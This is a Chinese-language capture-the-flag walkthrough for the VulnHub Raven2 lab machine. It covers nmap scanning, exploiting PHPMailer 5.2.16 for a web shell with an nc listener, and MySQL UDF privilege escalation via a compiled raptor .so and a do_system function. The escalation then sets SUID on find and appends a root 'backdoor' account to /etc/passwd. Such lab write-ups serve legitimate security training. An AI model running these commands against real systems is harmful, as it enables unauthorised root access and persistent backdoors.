1. 程式人生 > 其它 >vulnhub-Raven2

vulnhub-Raven2

蒐集資訊

kali ip: 192.168.56.109/24

發現目標:nmap -sn 192.168.56.109/24nmap -sP 192.168.56.109/24靶機ip:192.168.56.114

掃描埠 nmap -A -p- 192.168.56.114

Not shown: 65531 closed tcp ports (conn-refused)
PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 6.7p1 Debian 5+deb8u4 (protocol 2.0)
| ssh-hostkey:
|   1024 2681c1f35e01ef93493d911eae8b3cfc (DSA)
|   2048 315801194da280a6b90d40981c97aa53 (RSA)
|   256 1f773119deb0e16dca77077684d3a9a0 (ECDSA)
|_  256 0e8571a8a2c308699c91c03f8418dfae (ED25519)
80/tcp    open  http    Apache httpd 2.4.10 ((Debian))
|_http-title: Raven Security
|_http-server-header: Apache/2.4.10 (Debian)
111/tcp   open  rpcbind 2-4 (RPC #100000)
| rpcinfo:
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|   100000  3,4          111/udp6  rpcbind
|   100024  1          38628/tcp6  status
|   100024  1          44698/udp   status
|   100024  1          53536/tcp   status
|_  100024  1          60719/udp6  status
53536/tcp open  status  1 (RPC #100024)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

在 http://192.168.56.114/team.html 頁面下發現團隊成員資訊,可用crewl抽取使用者名稱進行賬戶破解。

使用 dirb 192.168.56.109/24 列舉目錄發現:/wordpress/,/vendor/

在 192.168.56.114/vendor/PATH 發現flag1
在 192.168.56.114/vendor/VERSION 發現版本 5.2.16
在 http://192.168.56.114/vendor/README.md 發現應用為PHPMailer

利用PHPMailer漏洞

搜尋exp發現

修改指令碼引數並執行

執行成功後訪問 192.168.56.114/contact.php ,在kali監聽埠 nc -lp 6666

,再訪問 192.168.56.114/xxx.php 得到shell

小技巧

kali使用bash,通過nc得到shell,再通過python的 python -c "import pty;pty.spawn('/bin/bash')"得到偽shell。
輸入 Ctrl+Z掛起任務,再在kali的bash中輸入  stty raw -echo ,然後再輸入fg喚起掛起的nc,這時shell就不會被 Ctrl+C 等快捷鍵中斷。

再使用 find / -name flag* 2>/dev/null 查詢flag檔案

然後檢視php檔案資訊

登入mysql獲得版本

mysql udf 提權

udf提權前提:

  1. mysql 以root使用者身份執行
    使用udf即為在mysql中執行shell命令,執行shell的身份即為執行mysql的使用者
  2. mysql有寫入檔案的許可權,即secure_file_priv的值為空
    如果為null則無法提權;如果為/tmp則MySQL的匯入匯出只能在tmp目錄下執行,也無法提權
  3. 如果MySQL版本>=5.1必須把UDF動態連結庫放到mysql安裝目錄的lib/plugin目錄下才能建立自定義函式
  4. 能否遠端登陸,能則使用msf;否則手動編譯上傳

找到檔案並複製

編譯生成 1518.so

gcc -g -c 1518.c
gcc -g -shared -o 1518.so 1518.o -lc

啟動python編寫的簡易檔案伺服器

#!python
import sys, http.server
port= sys.argv[1] if len(sys.argv) > 1 else 80
http.server.HTTPServer(('', port), RequestHandlerClass=http.server.SimpleHTTPRequestHandler).serve_forever()
create table mysql.udf(line blob);
insert into mysql.udf values(load_file('/tmp/1518.so'));
# dumpfile 用於一行匯出資料,是原資料匯出;outfile 多行匯出,會有特殊轉換
select * from mysql.udf into dumpfile '/usr/lib/mysql/plugin/udf.so';
# 建立自定義函式 do_system,型別是 integer
create function do_system returns integer soname 'udf.so';
select * from mysql.func;
select do_system('id > /tmp/out; chown raptor.raptor /tmp/out');
\! sh
$ cat /tmp/out  # out檔案所有者為root,www-data使用者無法開啟

建立 do_system 函式後

  1. 方法一

    給find命令增加s許可權,使其在執行時使用所有者許可權

    # mysql中
    select do_system('chmod u+s /usr/bin/find');
    # shell中使用這個命令啟動一個新shell
    find / -exec "/bin/sh" \;

    獲得root許可權

  2. 方法二
    在mysql中使用 do_system 函式和nc反彈shell

    kali:

    最後一個flag在 /root 目錄下
  3. 增加使用者
    openssl passwd mima  # 得到加密後的密碼
    select do_system('echo "backdoor:xxxxxxx:0:0:root:/root:/bin/bash" >> /etc/passwd');